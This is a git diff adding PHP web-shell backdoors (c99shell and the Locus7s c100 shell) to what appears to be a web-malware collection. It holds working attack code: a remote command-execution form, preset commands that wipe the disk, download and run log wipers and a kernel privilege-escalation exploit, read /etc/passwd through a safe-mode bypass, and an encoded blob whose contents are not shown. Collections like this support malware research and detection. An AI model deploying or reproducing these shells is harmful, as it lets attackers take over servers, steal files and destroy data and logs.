+"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> + + + + + + + + + + + + + + + + + + + + + + + + + + +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> PSych0 | <a href=""><font color="#FF0000">Cuz N0wH?R? iS s?cu? ?enough</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> diff --git a/web-malware-collection-master/Backdoors/PHP/c99_locus7s.txt b/web-malware-collection-master/Backdoors/PHP/c99_locus7s.txt new file mode 100755 index 0000000..cb3fe60 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99_locus7s.txt @@ -0,0 +1,3595 @@ +<?php + +/****************************************************************************************** +* Locus7s Modified c100 Shell +* Beta v. 1.0a - Project x2300 +* Written by Captain Crunch Team +* Modified by Shadow & Preddy +* Re-Modified by #!physx^ (15.2.07) +*======================================================== +* New Modifications Implemented -- ++--------------------------------------------------------+ +* -Added link to Enumerate to escalate priviledges +* -Added Rootshell.c +* -Added Rootshell.c;auto-compiler +* -Execute Rootshell.c +* -Added Mig-Log Logcleaner +* -Execute Mig-Log Logcleaner +* -milw0rm searcher (Grabs OS and searches milw0rm) +* -Locus7s Style & Image +* -Added w4ck1ng Shell Backdoor Connect and Backdoor +* -Added PHP-Proxy link to hide your ass +* -Added your ip and server ip with whois capability +* -Added private 0day released by allahaka which utilizes the linux +* sudo bash to execute a stack overflow. +*======================================================== +* FEB. 14, 2007 RELEASE NOTES: ++--------------------------------------------------------+ +* PRIVATE RELEASE OF C100 SHELL FOR LOCUS7S MEMBERS +* FAILURE TO DO SO WILL RESULT IN LOSS OF VIP +* MEMBERS ACCESS, BAN FROM SITE, AND NO REFUND FOR VIP. +*======================================================== +* PRODUCT INFO: ++--------------------------------------------------------+ +* C100 SHELL CREATED BY CAPTAIN CRUNCH SECURITY TEAM +* WWW.CCTEAM.RU +* C100 SHELL - REVAMPED (X2300) MODIFIED BY LOCUS7S +* UNDERGROUND NETWORK | WWW.LOCUS7S.COM +* \E0T/ +*********************************************************/ + +//for php proxy purposes + +function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); } +$selfurl = base64_encode(selfURL()); +$phprox="http://twofaced.org/proxy/index.php?q=".$selfurl; + +//end of link + +//milw0rm search +$Lversion = php_uname(r); +$OSV = php_uname(s); +if(eregi("Linux",$OSV)) +{ +$Lversion=substr($Lversion,0,6); +$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; +}else{ +$Lversion=substr($Lversion,0,3); +$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; +} +//End of milw0rm search + + +//w4ck1ng Shell +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + +$proxy_shit="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